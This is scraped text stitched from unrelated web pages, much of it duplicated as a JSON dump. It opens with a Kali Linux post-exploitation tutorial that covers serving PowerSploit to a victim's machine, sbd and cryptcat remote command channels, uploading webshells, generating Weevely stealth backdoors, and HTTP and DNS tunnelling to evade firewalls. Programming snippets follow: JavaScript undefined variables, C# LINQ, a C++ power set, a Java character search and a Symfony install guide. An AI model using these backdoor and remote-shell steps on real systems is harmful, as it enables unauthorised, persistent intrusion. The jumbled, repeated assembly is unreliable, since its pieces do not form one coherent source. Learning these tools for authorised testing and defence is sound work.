Finally, on the server you will see that a connection has occurred as shown in the following screenshot. Webshells can be used to maintain access or to hack a website. But most of them are detected by antiviruses. The C99 php shell is very well known among the antivirus. Any common antivirus will easily detect it as a malware. Generally, their main function is to send system command via web interfaces. To open it, and type “cd /usr/share/webshells/” in the terminal. As you see, they are divided in classes according to the programing language : asp , aspx, cfm, jsp, perl,php If you enter in the PHP folder, you can see all the webshells for php webpages. To upload the shell to a web server, for example “simple-backdoor.php” open the webpage and URL of the web shell. At the end, write the cmd command. You will have all the info shown as in the following screenshot. Weevely is a PHP web shell that simulate telnet-like connection. It is a tool for web application post exploitation, and can be used as a stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones. To open it, go to the terminal and type “weevely” where you can see its usage. To generate the shell, type “weevely generate password pathoffile”. As seen in the following screenshot, it is generated on the “Desktop” folder and the file is to upload in a webserver to gain access. After uploading the web shell as shown in the following screenshot, we can connect with cmd to the server using the command “weevely URL password” where you can see that a session has started. http-tunnel creates a bidirectional virtual data stream tunneled in HTTP requests. The requests can be sent via a HTTP proxy if so desired. This can be useful for users behind restrictive firewalls. If WWW access is allowed through a HTTP proxy, it’s possible to use http-tunnel and telnet or PPP to connect to a computer outside the firewall. First, we should create a tunnel server with the following command − httptunnel_server –h Then, on the client site type “httptunnel_client –h” and both will start to accept connections. This is again a tunneling tool that helps to pass the TCP traffic through DNS Traffic, which means UDP 53 port. To start it, type “dns2tcpd”. The usage is explained when you will open the script. On the server site, enter this command to configure the file. #cat >>.dns2tcpdrc <&l;END listen = 0.0.0.0 port = 53 user=nobody chroot = /root/dns2tcp pid_file = /var/run/dns2tcp.pid domain = your domain key = secretkey resources = ssh:127.0.0.1:22 END #dns2tcpd -f .dns2tcpdrc On Client site, enter this command. # cat >>.dns2tcprc <<END domain = your domain resource = ssh local_port = 7891 key = secretkey END # dns2tcpc -f .dns2tcprc # ssh root@localhost -p 7891 -D 7076 Tunneling will start with this command. It is another tool like Netcat which allows to make TCP and UDP connection with a victim’s machine in an encrypted way. To start a server to listen for a connection, type the following command − cryptcat –l –p port –n Where, -l stands for listening to a connection -l stands for listening to a connection -p stands for port number parameter -p stands for port number parameter -n stands for not doing the name resolution -n stands for not doing the name resolution On client site, the connection command is “cryptcat IPofServer PortofServer” 84 Lectures 6.5 hours Mohamad Mahjoub 8 Lectures 1 hours Corey Charles 21 Lectures 4 hours Atul Tiwari 55 Lectures 3 hours Musab Zayadneh 29 Lectures 2 hours Musab Zayadneh 32 Lectures 4 hours Adnaan Arbaaz Ahmed Print Add Notes Bookmark this page
[ { "code": null, "e": 2186, "s": 2029, "text": "In this chapter, we will see the tools that Kali uses to maintain connection and for access to a hacked machine even when it connects and disconnects again." }, { "code": null, "e": 2359, "s": 2186, "text": "This is a tool that is for Windows machines. It has PowerShell installed in victims machine. This tool helps the hacker to connect with the victim’s machine via PowerShell." }, { "code": null, "e": 2471, "s": 2359, "text": "To open it, open the terminal on the left and type the following command to enter into the powersploit folder −" }, { "code": null, "e": 2500, "s": 2471, "text": "cd /usr/share/powersploit/ \n" }, { "code": null, "e": 2708, "s": 2500, "text": "If you type “ls” it will list all the powersploit tools that you can download and install in the victim’s machine after you have gained access. Most of them are name self-explained according to their names." }, { "code": null, "e": 2870, "s": 2708, "text": "An easy way to download this tool on the victim’s machine is to create a web server, which powersploit tools allow to create easily using the following command −" }, { "code": null, "e": 2899, "s": 2870, "text": "python -m SimpleHTTPServer \n" }, { "code": null, "e": 2988, "s": 2899, "text": "After this, if you type: http://<Kali machine ip_address>:8000/ following is the result." }, { "code": null, "e": 3243, "s": 2988, "text": "sbd is a tool similar to Netcat. It is portable and can be used in Linux and Microsoft machines. sbd features AES-CBC-128 + HMAC-SHA1 encryption> Basically, it helps to connect to a victim’s machine any time on a specific port and send commands remotely." }, { "code": null, "e": 3339, "s": 3243, "text": "To open it, go to the terminal and type “sbd -l -p port” for the server to accept connections." }, { "code": null, "e": 3402, "s": 3339, "text": "In this case, let us put port 44 where the server will listen." }, { "code": null, "e": 3525, "s": 3402, "text": "On the victim’s site, type “sbd IPofserver port”. A connection will be established where we can send the remote commands." }, { "code": null, "e": 3611, "s": 3525, "text": "In this case, it is “localhost” since we have performed the test on the same machine." }, { "code": null, "e": 3716, "s": 3611, "text": "Finally, on the server you will see that a connection has occurred as shown in the following screenshot." }, { "code": null, "e": 3940, "s": 3716, "text": "Webshells can be used to maintain access or to hack a website. But most of them are detected by antiviruses. The C99 php shell is very well known among the antivirus. Any common antivirus will easily detect it as a malware." }, { "code": null, "e": 4017, "s": 3940, "text": "Generally, their main function is to send system command via web interfaces." }, { "code": null, "e": 4083, "s": 4017, "text": "To open it, and type “cd /usr/share/webshells/” in the terminal." }, { "code": null, "e": 4193, "s": 4083, "text": "As you see, they are divided in classes according to the programing language : asp , aspx, cfm, jsp, perl,php" }, { "code": null, "e": 4273, "s": 4193, "text": "If you enter in the PHP folder, you can see all the webshells for php webpages." }, { "code": null, "e": 4387, "s": 4273, "text": "To upload the shell to a web server, for example “simple-backdoor.php” open the webpage and URL of the web shell." }, { "code": null, "e": 4487, "s": 4387, "text": "At the end, write the cmd command. You will have all the info shown as in the following screenshot." }, { "code": null, "e": 4713, "s": 4487, "text": "Weevely is a PHP web shell that simulate telnet-like connection. It is a tool for web application post exploitation, and can be used as a stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones." }, { "code": null, "e": 4792, "s": 4713, "text": "To open it, go to the terminal and type “weevely” where you can see its usage." }, { "code": null, "e": 4994, "s": 4792, "text": "To generate the shell, type “weevely generate password pathoffile”. As seen in the following screenshot, it is generated on the “Desktop” folder and the file is to upload in a webserver to gain access." }, { "code": null, "e": 5187, "s": 4994, "text": "After uploading the web shell as shown in the following screenshot, we can connect with cmd to the server using the command “weevely URL password” where you can see that a session has started." }, { "code": null, "e": 5531, "s": 5187, "text": "http-tunnel creates a bidirectional virtual data stream tunneled in HTTP requests. The requests can be sent via a HTTP proxy if so desired. This can be useful for users behind restrictive firewalls. If WWW access is allowed through a HTTP proxy, it’s possible to use http-tunnel and telnet or PPP to connect to a computer outside the firewall." }, { "code": null, "e": 5600, "s": 5531, "text": "First, we should create a tunnel server with the following command −" }, { "code": null, "e": 5623, "s": 5600, "text": "httptunnel_server –h \n" }, { "code": null, "e": 5719, "s": 5623, "text": "Then, on the client site type “httptunnel_client –h” and both will start to accept connections." }, { "code": null, "e": 5831, "s": 5719, "text": "This is again a tunneling tool that helps to pass the TCP traffic through DNS Traffic, which means UDP 53 port." }, { "code": null, "e": 5915, "s": 5831, "text": "To start it, type “dns2tcpd”. The usage is explained when you will open the script." }, { "code": null, "e": 5977, "s": 5915, "text": "On the server site, enter this command to configure the file." }, { "code": null, "e": 6201, "s": 5977, "text": "#cat >>.dns2tcpdrc\n<&l;END listen = 0.0.0.0 \nport = 53 user=nobody \nchroot = /root/dns2tcp \npid_file = /var/run/dns2tcp.pid \ndomain = your domain key = secretkey \nresources = ssh:127.0.0.1:22 \nEND \n#dns2tcpd -f .dns2tcpdrc\n" }, { "code": null, "e": 6237, "s": 6201, "text": "On Client site, enter this command." }, { "code": null, "e": 6406, "s": 6237, "text": "# cat >>.dns2tcprc \n<<END domain = your domain \nresource = ssh \nlocal_port = 7891 \nkey = secretkey \nEND\n# dns2tcpc -f .dns2tcprc \n# ssh root@localhost -p 7891 -D 7076 \n" }, { "code": null, "e": 6446, "s": 6406, "text": "Tunneling will start with this command." }, { "code": null, "e": 6566, "s": 6446, "text": "It is another tool like Netcat which allows to make TCP and UDP connection with a victim’s machine in an encrypted way." }, { "code": null, "e": 6641, "s": 6566, "text": "To start a server to listen for a connection, type the following command −" }, { "code": null, "e": 6666, "s": 6641, "text": "cryptcat –l –p port –n \n" }, { "code": null, "e": 6673, "s": 6666, "text": "Where," }, { "code": null, "e": 6713, "s": 6673, "text": "-l stands for listening to a connection" }, { "code": null, "e": 6753, "s": 6713, "text": "-l stands for listening to a connection" }, { "code": null, "e": 6789, "s": 6753, "text": "-p stands for port number parameter" }, { "code": null, "e": 6825, "s": 6789, "text": "-p stands for port number parameter" }, { "code": null, "e": 6869, "s": 6825, "text": "-n stands for not doing the name resolution" }, { "code": null, "e": 6913, "s": 6869, "text": "-n stands for not doing the name resolution" }, { "code": null, "e": 6990, "s": 6913, "text": "On client site, the connection command is “cryptcat IPofServer PortofServer”" }, { "code": null, "e": 7025, "s": 6990, "text": "\n 84 Lectures \n 6.5 hours \n" }, { "code": null, "e": 7042, "s": 7025, "text": " Mohamad Mahjoub" }, { "code": null, "e": 7074, "s": 7042, "text": "\n 8 Lectures \n 1 hours \n" }, { "code": null, "e": 7089, "s": 7074, "text": " Corey Charles" }, { "code": null, "e": 7122, "s": 7089, "text": "\n 21 Lectures \n 4 hours \n" }, { "code": null, "e": 7135, "s": 7122, "text": " Atul Tiwari" }, { "code": null, "e": 7168, "s": 7135, "text": "\n 55 Lectures \n 3 hours \n" }, { "code": null, "e": 7184, "s": 7168, "text": " Musab Zayadneh" }, { "code": null, "e": 7217, "s": 7184, "text": "\n 29 Lectures \n 2 hours \n" }, { "code": null, "e": 7233, "s": 7217, "text": " Musab Zayadneh" }, { "code": null, "e": 7266, "s": 7233, "text": "\n 32 Lectures \n 4 hours \n" }, { "code": null, "e": 7287, "s": 7266, "text": " Adnaan Arbaaz Ahmed" }, { "code": null, "e": 7294, "s": 7287, "text": " Print" }, { "code": null, "e": 7305, "s": 7294, "text": " Add Notes" } ]
What are undeclared and undefined variables in JavaScript? - GeeksforGeeks
26 Nov, 2019 Undefined: It occurs when a variable has been declared but has not been assigned with any value. Undefined is not a keyword. Undeclared: It occurs when we try to access any variable that is not initialized or declared earlier using var or const keyword. If we use ‘typeof’ operator to get the value of an undeclared variable, we will face the runtime error with return value as “undefined”. The scope of the undeclared variables is always global. For example: Undefined:var geek; undefined console.log(geek) var geek; undefined console.log(geek) Undeclared://ReferenceError: myVariable is not defined console.log(myVariable) //ReferenceError: myVariable is not defined console.log(myVariable) Example 1: This example illustrate a situation where an undeclared variable is used.<script>function GFG(){//'use strict' verifies that no undeclared // variable is present in our code 'use strict'; x = "GeeksForGeeks";} GFG(); //accessing the above function</script>Output:ReferenceError: x is not defined <script>function GFG(){//'use strict' verifies that no undeclared // variable is present in our code 'use strict'; x = "GeeksForGeeks";} GFG(); //accessing the above function</script> Output: ReferenceError: x is not defined Example 2: This example checks whether a given variable is undefined or not.<!DOCTYPE html><html> <body> <style> h1 { color: green; } </style> <h1>UNDEFINED OR NOT.</h1> <button onclick="checkVar()"> Try it </button> <p id="gfg"></p> <script> function checkVar() { if (typeof variable === "undefined") { string = "Variable is undefined"; } else { string = "Variable is defined"; } document.getElementById("gfg").innerHTML = string; } </script> </body> </html>Output: <!DOCTYPE html><html> <body> <style> h1 { color: green; } </style> <h1>UNDEFINED OR NOT.</h1> <button onclick="checkVar()"> Try it </button> <p id="gfg"></p> <script> function checkVar() { if (typeof variable === "undefined") { string = "Variable is undefined"; } else { string = "Variable is defined"; } document.getElementById("gfg").innerHTML = string; } </script> </body> </html> Output: shubham_singh JavaScript-Misc Picked JavaScript Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Convert a string to an integer in JavaScript Difference between var, let and const keywords in JavaScript Differences between Functional Components and Class Components in React How to Open URL in New Tab using JavaScript ? Difference Between PUT and PATCH Request Roadmap to Become a Web Developer in 2022 Installation of Node.js on Linux How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS? Top 10 Projects For Beginners To Practice HTML and CSS Skills
[ { "code": null, "e": 25180, "s": 25152, "text": "\n26 Nov, 2019" }, { "code": null, "e": 25305, "s": 25180, "text": "Undefined: It occurs when a variable has been declared but has not been assigned with any value. Undefined is not a keyword." }, { "code": null, "e": 25627, "s": 25305, "text": "Undeclared: It occurs when we try to access any variable that is not initialized or declared earlier using var or const keyword. If we use ‘typeof’ operator to get the value of an undeclared variable, we will face the runtime error with return value as “undefined”. The scope of the undeclared variables is always global." }, { "code": null, "e": 25640, "s": 25627, "text": "For example:" }, { "code": null, "e": 25690, "s": 25640, "text": "Undefined:var geek;\nundefined\nconsole.log(geek) \n" }, { "code": null, "e": 25730, "s": 25690, "text": "var geek;\nundefined\nconsole.log(geek) \n" }, { "code": null, "e": 25811, "s": 25730, "text": "Undeclared://ReferenceError: myVariable is not defined\nconsole.log(myVariable) \n" }, { "code": null, "e": 25881, "s": 25811, "text": "//ReferenceError: myVariable is not defined\nconsole.log(myVariable) \n" }, { "code": null, "e": 26195, "s": 25881, "text": "Example 1: This example illustrate a situation where an undeclared variable is used.<script>function GFG(){//'use strict' verifies that no undeclared // variable is present in our code 'use strict'; x = \"GeeksForGeeks\";} GFG(); //accessing the above function</script>Output:ReferenceError: x is not defined" }, { "code": "<script>function GFG(){//'use strict' verifies that no undeclared // variable is present in our code 'use strict'; x = \"GeeksForGeeks\";} GFG(); //accessing the above function</script>", "e": 26386, "s": 26195, "text": null }, { "code": null, "e": 26394, "s": 26386, "text": "Output:" }, { "code": null, "e": 26427, "s": 26394, "text": "ReferenceError: x is not defined" }, { "code": null, "e": 27065, "s": 26427, "text": "Example 2: This example checks whether a given variable is undefined or not.<!DOCTYPE html><html> <body> <style> h1 { color: green; } </style> <h1>UNDEFINED OR NOT.</h1> <button onclick=\"checkVar()\"> Try it </button> <p id=\"gfg\"></p> <script> function checkVar() { if (typeof variable === \"undefined\") { string = \"Variable is undefined\"; } else { string = \"Variable is defined\"; } document.getElementById(\"gfg\").innerHTML = string; } </script> </body> </html>Output:" }, { "code": "<!DOCTYPE html><html> <body> <style> h1 { color: green; } </style> <h1>UNDEFINED OR NOT.</h1> <button onclick=\"checkVar()\"> Try it </button> <p id=\"gfg\"></p> <script> function checkVar() { if (typeof variable === \"undefined\") { string = \"Variable is undefined\"; } else { string = \"Variable is defined\"; } document.getElementById(\"gfg\").innerHTML = string; } </script> </body> </html>", "e": 27620, "s": 27065, "text": null }, { "code": null, "e": 27628, "s": 27620, "text": "Output:" }, { "code": null, "e": 27642, "s": 27628, "text": "shubham_singh" }, { "code": null, "e": 27658, "s": 27642, "text": "JavaScript-Misc" }, { "code": null, "e": 27665, "s": 27658, "text": "Picked" }, { "code": null, "e": 27676, "s": 27665, "text": "JavaScript" }, { "code": null, "e": 27693, "s": 27676, "text": "Web Technologies" }, { "code": null, "e": 27791, "s": 27693, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27836, "s": 27791, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 27897, "s": 27836, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 27969, "s": 27897, "text": "Differences between Functional Components and Class Components in React" }, { "code": null, "e": 28015, "s": 27969, "text": "How to Open URL in New Tab using JavaScript ?" }, { "code": null, "e": 28056, "s": 28015, "text": "Difference Between PUT and PATCH Request" }, { "code": null, "e": 28098, "s": 28056, "text": "Roadmap to Become a Web Developer in 2022" }, { "code": null, "e": 28131, "s": 28098, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 28174, "s": 28131, "text": "How to fetch data from an API in ReactJS ?" }, { "code": null, "e": 28224, "s": 28174, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
C# Program to Find the Index of Even Numbers using LINQ - GeeksforGeeks
28 Nov, 2021 Given an array, now our task is to find the index value of the even numbers present in the given array using LINQ. LINQ is known as Language Integrated Query and was introduced in .NET 3.5. It gives the power to .NET languages to generate queries to retrieve data from the data source. So to do this task we use the select() and where() methods of LINQ. Example: Input : { 2, 3, 4, 5, 11 } Output : Index:0 - Number: 2 Index:2 - Number: 4 Input : { 2, 3, 4, 5, 6, 23, 31 } Output : Index:0 - Number: 2 Index:2 - Number: 4 Index:4 - Number: 6 Approach: 1. Create a list of integer type and add elements to it. 2. Get the index of the numbers present in the list. var indexdata = data.Select((val, indexvalue) => new { Data = val, IndexPosition = indexvalue }).Where(n => n.Data % 2 == 0).Select( result => new { Number = result.Data, IndexPosition = result.IndexPosition }); 3. Display the index and numbers. foreach (var i in indexdata) { Console.WriteLine("Index:" + i.IndexPosition + " - Number: " + i.Number); } Example: C# // C# program to find the index value of// the even numbers using LINQusing System;using System.Collections.Generic;using System.Linq; class GfG{ static void Main(string[] args){ // Creating a list of integer type List<int> data = new List<int>(); // Add elements to the list data.Add(2); data.Add(3); data.Add(4); data.Add(5); data.Add(6); data.Add(12); data.Add(11); // Get the index of numbers var indexdata = data.Select((val, indexvalue) => new { Data = val, IndexPosition = indexvalue }).Where(n => n.Data % 2 == 0).Select( result => new { Number = result.Data, IndexPosition = result.IndexPosition }); // Display the index and numbers // of the even numbers from the array foreach(var i in indexdata) { Console.WriteLine("Index Value:" + i.IndexPosition + " - Even Number: " + i.Number); }}} Output: Index Value:0 - Even Number: 2 Index Value:2 - Even Number: 4 Index Value:4 - Even Number: 6 Index Value:5 - Even Number: 12 Picked C# C# Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Destructors in C# Extension Method in C# HashSet in C# with Examples Top 50 C# Interview Questions & Answers C# | How to insert an element in an Array? Convert String to Character Array in C# Socket Programming in C# Program to Print a New Line in C# Getting a Month Name Using Month Number in C# Program to find absolute value of a given number
[ { "code": null, "e": 24302, "s": 24274, "text": "\n28 Nov, 2021" }, { "code": null, "e": 24656, "s": 24302, "text": "Given an array, now our task is to find the index value of the even numbers present in the given array using LINQ. LINQ is known as Language Integrated Query and was introduced in .NET 3.5. It gives the power to .NET languages to generate queries to retrieve data from the data source. So to do this task we use the select() and where() methods of LINQ." }, { "code": null, "e": 24665, "s": 24656, "text": "Example:" }, { "code": null, "e": 24883, "s": 24665, "text": "Input : { 2, 3, 4, 5, 11 }\nOutput : Index:0 - Number: 2\n Index:2 - Number: 4\n \nInput : { 2, 3, 4, 5, 6, 23, 31 }\nOutput : Index:0 - Number: 2\n Index:2 - Number: 4\n Index:4 - Number: 6" }, { "code": null, "e": 24893, "s": 24883, "text": "Approach:" }, { "code": null, "e": 24950, "s": 24893, "text": "1. Create a list of integer type and add elements to it." }, { "code": null, "e": 25003, "s": 24950, "text": "2. Get the index of the numbers present in the list." }, { "code": null, "e": 25416, "s": 25003, "text": "var indexdata = data.Select((val, indexvalue) => new\n { \n Data = val, \n IndexPosition = indexvalue\n }).Where(n => n.Data % 2 == 0).Select(\n result => new \n { \n Number = result.Data,\n IndexPosition = result.IndexPosition \n });" }, { "code": null, "e": 25450, "s": 25416, "text": "3. Display the index and numbers." }, { "code": null, "e": 25584, "s": 25450, "text": "foreach (var i in indexdata)\n{\n Console.WriteLine(\"Index:\" + i.IndexPosition + \n \" - Number: \" + i.Number);\n}" }, { "code": null, "e": 25593, "s": 25584, "text": "Example:" }, { "code": null, "e": 25596, "s": 25593, "text": "C#" }, { "code": "// C# program to find the index value of// the even numbers using LINQusing System;using System.Collections.Generic;using System.Linq; class GfG{ static void Main(string[] args){ // Creating a list of integer type List<int> data = new List<int>(); // Add elements to the list data.Add(2); data.Add(3); data.Add(4); data.Add(5); data.Add(6); data.Add(12); data.Add(11); // Get the index of numbers var indexdata = data.Select((val, indexvalue) => new { Data = val, IndexPosition = indexvalue }).Where(n => n.Data % 2 == 0).Select( result => new { Number = result.Data, IndexPosition = result.IndexPosition }); // Display the index and numbers // of the even numbers from the array foreach(var i in indexdata) { Console.WriteLine(\"Index Value:\" + i.IndexPosition + \" - Even Number: \" + i.Number); }}}", "e": 26713, "s": 25596, "text": null }, { "code": null, "e": 26721, "s": 26713, "text": "Output:" }, { "code": null, "e": 26846, "s": 26721, "text": "Index Value:0 - Even Number: 2\nIndex Value:2 - Even Number: 4\nIndex Value:4 - Even Number: 6\nIndex Value:5 - Even Number: 12" }, { "code": null, "e": 26853, "s": 26846, "text": "Picked" }, { "code": null, "e": 26856, "s": 26853, "text": "C#" }, { "code": null, "e": 26868, "s": 26856, "text": "C# Programs" }, { "code": null, "e": 26966, "s": 26868, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26984, "s": 26966, "text": "Destructors in C#" }, { "code": null, "e": 27007, "s": 26984, "text": "Extension Method in C#" }, { "code": null, "e": 27035, "s": 27007, "text": "HashSet in C# with Examples" }, { "code": null, "e": 27075, "s": 27035, "text": "Top 50 C# Interview Questions & Answers" }, { "code": null, "e": 27118, "s": 27075, "text": "C# | How to insert an element in an Array?" }, { "code": null, "e": 27158, "s": 27118, "text": "Convert String to Character Array in C#" }, { "code": null, "e": 27183, "s": 27158, "text": "Socket Programming in C#" }, { "code": null, "e": 27217, "s": 27183, "text": "Program to Print a New Line in C#" }, { "code": null, "e": 27263, "s": 27217, "text": "Getting a Month Name Using Month Number in C#" } ]
Find all distinct subsets of a given set in C++
Here we will see how to display all distinct subsets of a given set. So if the set is {1, 2, 3}, then the subsets will be {}, {1}, {2}, {3}, {1, 2}, {2, 3}, {1, 3}, {1, 2, 3}. The set of all subsets is called power set. The power set has 2n elements. We will loop through 0 to 2n (excluding), in each iteration we will check whether the ith bit in the current counter is set, then print ith element. #include<iostream> #include<cmath> using namespace std; void showPowerSet(char *set, int set_length) { unsigned int size = pow(2, set_length); for(int counter = 0; counter < size; counter++) { cout << "{"; for(int j = 0; j < size; j++) { if(counter & (1<<j)) cout << set[j] << " "; } cout << "}" << endl; } } int main() { char set[] = {'a','b','c'}; showPowerSet(set, 3); } {} {a } {b } {a b } {c } {a c } {b c } {a b c }
[ { "code": null, "e": 1313, "s": 1062, "text": "Here we will see how to display all distinct subsets of a given set. So if the set is {1, 2, 3}, then the subsets will be {}, {1}, {2}, {3}, {1, 2}, {2, 3}, {1, 3}, {1, 2, 3}. The set of all subsets is called power set. The power set has 2n elements." }, { "code": null, "e": 1462, "s": 1313, "text": "We will loop through 0 to 2n (excluding), in each iteration we will check whether the ith bit in the current counter is set, then print ith element." }, { "code": null, "e": 1911, "s": 1462, "text": "#include<iostream>\n#include<cmath>\nusing namespace std;\nvoid showPowerSet(char *set, int set_length) {\n unsigned int size = pow(2, set_length);\n for(int counter = 0; counter < size; counter++) {\n cout << \"{\";\n for(int j = 0; j < size; j++) {\n if(counter & (1<<j))\n cout << set[j] << \" \";\n }\n cout << \"}\" << endl;\n }\n }\n int main() {\n char set[] = {'a','b','c'};\n showPowerSet(set, 3);\n}" }, { "code": null, "e": 1959, "s": 1911, "text": "{}\n{a }\n{b }\n{a b }\n{c }\n{a c }\n{b c }\n{a b c }" } ]
Java Program to check if the String contains only certain characters
The following is our string. String str = "pqrst"; In the above string, we want to search for the following set of characters. // set of characters to be searched char[] chSearch = {'p', 'q', r'}; For this, loop through the length of the string and check every character in the string “str”. If the matching character from “chSearch” is found in the string, then it would be a success. The following is an example. Live Demo public class Demo { public static void main(String[] args) { String str = "pqrst"; // characters to be searched char[] chSearch = {'p', 'q', 'r'}; for (int i = 0; i < str.length(); i++) { char ch = str.charAt(i); for (int j = 0; j < chSearch.length; j++) { if (chSearch[j] == ch) { System.out.println("Character "+chSearch[j]+" found in string "+str); } } } } } Character p found in string pqrst Character q found in string pqrst Character r found in string pqrst
[ { "code": null, "e": 1091, "s": 1062, "text": "The following is our string." }, { "code": null, "e": 1113, "s": 1091, "text": "String str = \"pqrst\";" }, { "code": null, "e": 1189, "s": 1113, "text": "In the above string, we want to search for the following set of characters." }, { "code": null, "e": 1259, "s": 1189, "text": "// set of characters to be searched\nchar[] chSearch = {'p', 'q', r'};" }, { "code": null, "e": 1448, "s": 1259, "text": "For this, loop through the length of the string and check every character in the string “str”. If the matching character from “chSearch” is found in the string, then it would be a success." }, { "code": null, "e": 1477, "s": 1448, "text": "The following is an example." }, { "code": null, "e": 1488, "s": 1477, "text": " Live Demo" }, { "code": null, "e": 1952, "s": 1488, "text": "public class Demo {\n public static void main(String[] args) {\n String str = \"pqrst\";\n // characters to be searched\n char[] chSearch = {'p', 'q', 'r'};\n for (int i = 0; i < str.length(); i++) {\n char ch = str.charAt(i);\n for (int j = 0; j < chSearch.length; j++) {\n if (chSearch[j] == ch) {\n System.out.println(\"Character \"+chSearch[j]+\" found in string \"+str);\n }\n }\n }\n }\n}" }, { "code": null, "e": 2054, "s": 1952, "text": "Character p found in string pqrst\nCharacter q found in string pqrst\nCharacter r found in string pqrst" } ]
Symfony - Installation
This chapter explains how to install Symfony framework on your machine. Symfony framework installation is very simple and easy. You have two methods to create applications in Symfony framework. First method is using Symfony Installer, an application to create a project in Symfony framework. Second method is composer-based installation. Let’s go through each of the methods one by one in detail in the following sections. Before moving to installation, you require the following system requirements. Web server (Any one of the following) WAMP (Windows) LAMP (Linux) XAMP (Multi-platform) MAMP (Macintosh) Nginx (Multi-platform) Microsoft IIS (Windows) PHP built-in development web server (Multi-platform) WAMP (Windows) LAMP (Linux) XAMP (Multi-platform) MAMP (Macintosh) Nginx (Multi-platform) Microsoft IIS (Windows) PHP built-in development web server (Multi-platform) Operating System: Cross-platform Browser Support: IE (Internet Explorer 8+), Firefox, Google Chrome, Safari, Opera PHP Compatibility: PHP 5.4 or later. To get the maximum benefit, use the latest version. We will use PHP built-in development web server for this tutorial. Symfony Installer is used to create web applications in Symfony framework. Now, let’s configure the Symfony installer using the following command. $ sudo mkdir -p /usr/local/bin $ sudo curl -LsS https://symfony.com/installer -o /usr/local/bin/symfony $ sudo chmod a+x /usr/local/bin/symfony Now, you have installed Symfony installer on your machine. Following syntax is used to create a Symfony application in the latest version. symfony new app_name Here, app_name is your new application name. You can specify any name you want. symfony new HelloWorld After executing the above command, you will see the following response. Downloading Symfony... 0 B/5.5 MiB ░░░░░░░░░░░ ..................................................................... ..................................................................... Preparing project... ✔ Symfony 3.2.7 was successfully installed. Now you can: * Change your current directory to /Users/../workspace/firstapp * Configure your application in app/config/parameters.yml file. * Run your application: 1. Execute the php bin/console server:run command. 2. Browse to the http://localhost:8000 URL. * Read the documentation at http://symfony.com/doc This command creates a new directory called “firstapp/“ that contains an empty project of Symfony framework latest version. If you need to install a specific Symfony version, use the following command. symfony new app_name 2.8 symfony new app_name 3.1 You can create Symfony applications using the Composer. Hopefully, you have installed the composer on your machine. If the composer is not installed, download and install it. The following command is used to create a project using the composer. $ composer create-project symfony/framework-standard-edition app_name If you need to specify a specific version, you can specify in the above command. Move to the project directory and run the application using the following command. cd HelloWorld php bin/console server:run After executing the above command, open your browser and request the url http://localhost:8000/. It produces the following result. Print Add Notes Bookmark this page
[ { "code": null, "e": 2626, "s": 2203, "text": "This chapter explains how to install Symfony framework on your machine. Symfony framework installation is very simple and easy. You have two methods to create applications in Symfony framework. First method is using Symfony Installer, an application to create a project in Symfony framework. Second method is composer-based installation. Let’s go through each of the methods one by one in detail in the following sections." }, { "code": null, "e": 2704, "s": 2626, "text": "Before moving to installation, you require the following system requirements." }, { "code": null, "e": 2912, "s": 2704, "text": "Web server (Any one of the following)\n\nWAMP (Windows)\nLAMP (Linux)\nXAMP (Multi-platform)\nMAMP (Macintosh)\nNginx (Multi-platform)\nMicrosoft IIS (Windows)\nPHP built-in development web server (Multi-platform)\n\n" }, { "code": null, "e": 2927, "s": 2912, "text": "WAMP (Windows)" }, { "code": null, "e": 2940, "s": 2927, "text": "LAMP (Linux)" }, { "code": null, "e": 2962, "s": 2940, "text": "XAMP (Multi-platform)" }, { "code": null, "e": 2979, "s": 2962, "text": "MAMP (Macintosh)" }, { "code": null, "e": 3002, "s": 2979, "text": "Nginx (Multi-platform)" }, { "code": null, "e": 3026, "s": 3002, "text": "Microsoft IIS (Windows)" }, { "code": null, "e": 3079, "s": 3026, "text": "PHP built-in development web server (Multi-platform)" }, { "code": null, "e": 3112, "s": 3079, "text": "Operating System: Cross-platform" }, { "code": null, "e": 3195, "s": 3112, "text": "Browser Support: IE (Internet Explorer 8+), Firefox, Google Chrome, Safari, Opera" }, { "code": null, "e": 3284, "s": 3195, "text": "PHP Compatibility: PHP 5.4 or later. To get the maximum benefit, use the latest version." }, { "code": null, "e": 3351, "s": 3284, "text": "We will use PHP built-in development web server for this tutorial." }, { "code": null, "e": 3498, "s": 3351, "text": "Symfony Installer is used to create web applications in Symfony framework. Now, let’s configure the Symfony installer using the following command." }, { "code": null, "e": 3645, "s": 3498, "text": "$ sudo mkdir -p /usr/local/bin \n$ sudo curl -LsS https://symfony.com/installer -o /usr/local/bin/symfony \n$ sudo chmod a+x /usr/local/bin/symfony\n" }, { "code": null, "e": 3704, "s": 3645, "text": "Now, you have installed Symfony installer on your machine." }, { "code": null, "e": 3784, "s": 3704, "text": "Following syntax is used to create a Symfony application in the latest version." }, { "code": null, "e": 3806, "s": 3784, "text": "symfony new app_name\n" }, { "code": null, "e": 3886, "s": 3806, "text": "Here, app_name is your new application name. You can specify any name you want." }, { "code": null, "e": 3909, "s": 3886, "text": "symfony new HelloWorld" }, { "code": null, "e": 3981, "s": 3909, "text": "After executing the above command, you will see the following response." }, { "code": null, "e": 4593, "s": 3981, "text": "Downloading Symfony... \n\n0 B/5.5 MiB ░░░░░░░░░░░ \n..................................................................... \n..................................................................... \nPreparing project... \n✔ Symfony 3.2.7 was successfully installed. Now you can: \n * Change your current directory to /Users/../workspace/firstapp \n * Configure your application in app/config/parameters.yml file. \n * Run your application: \n 1. Execute the php bin/console server:run command. \n 2. Browse to the http://localhost:8000 URL. \n * Read the documentation at http://symfony.com/doc \n" }, { "code": null, "e": 4717, "s": 4593, "text": "This command creates a new directory called “firstapp/“ that contains an empty project of Symfony framework latest version." }, { "code": null, "e": 4795, "s": 4717, "text": "If you need to install a specific Symfony version, use the following command." }, { "code": null, "e": 4847, "s": 4795, "text": "symfony new app_name 2.8 \nsymfony new app_name 3.1\n" }, { "code": null, "e": 5022, "s": 4847, "text": "You can create Symfony applications using the 